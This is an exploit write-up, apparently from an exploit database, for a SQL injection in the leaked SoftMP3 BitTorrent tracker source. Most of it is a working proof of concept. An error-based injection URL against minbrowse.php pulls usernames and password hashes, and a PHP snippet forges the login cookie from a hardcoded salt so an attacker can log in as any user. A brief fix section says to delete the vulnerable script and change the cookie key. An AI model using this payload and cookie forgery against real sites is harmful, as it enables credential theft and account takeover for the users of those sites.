SoftMP3 – SQL Injection
# Exploit Title: SOFTMP3 source code SQL injection # Date: 23/04/2011 # Author: mArTi # Software Link: http://softmp3.org/ # Version: No others versions available... # Tested on: Windows / Unix /.................................../ Introduction /.................................../ SoftMP3 released a source code of its bittorent tracker when it died. This source code is vulnerable to a SQL injection. Here's the PoC and the Fix /.................................../ PoC /.................................../ -> SQL http://localhost/SOFTMP3/minbrowse.php?search=string' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,users.id,0x27,users.username,0x27,users.passhash,0x27,0x7e) FROM `database`.users where id=1 LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1" -----> Then you can use this to connect as the user you want by the passhash you got and setting the following cookies : uid=id pass=encrypted passhash (see down) ---------> getting encrypted passhash to connect with the cookies <?php $test=md5($HTTP_SERVER_VARS["REMOTE_ADDR"]."passhash"."hejsan".$HTTP_SERVER_VARS["REMOTE_ADDR"]); echo "pass cookie is $test" ?> /.................................../ FIX /.................................../ Delete /minbrowse.php (useless). BTW, if you want to protect the cookies, just change the cookie encryption in bittorent.php file (like the "hejsan" key or the order of terms in encryption) -------------------------------------------------------- -------------------------------------------------------- -------------------------------------------------------- -------------------------------------------------------- Protect yourself against the security breaks in your security to protect your users and your site. If you want to contact me, you'll know where to find me. -------------------------------------------------------- -------------------------------------------------------- -------------------------------------------------------- -------------------------------------------------------- |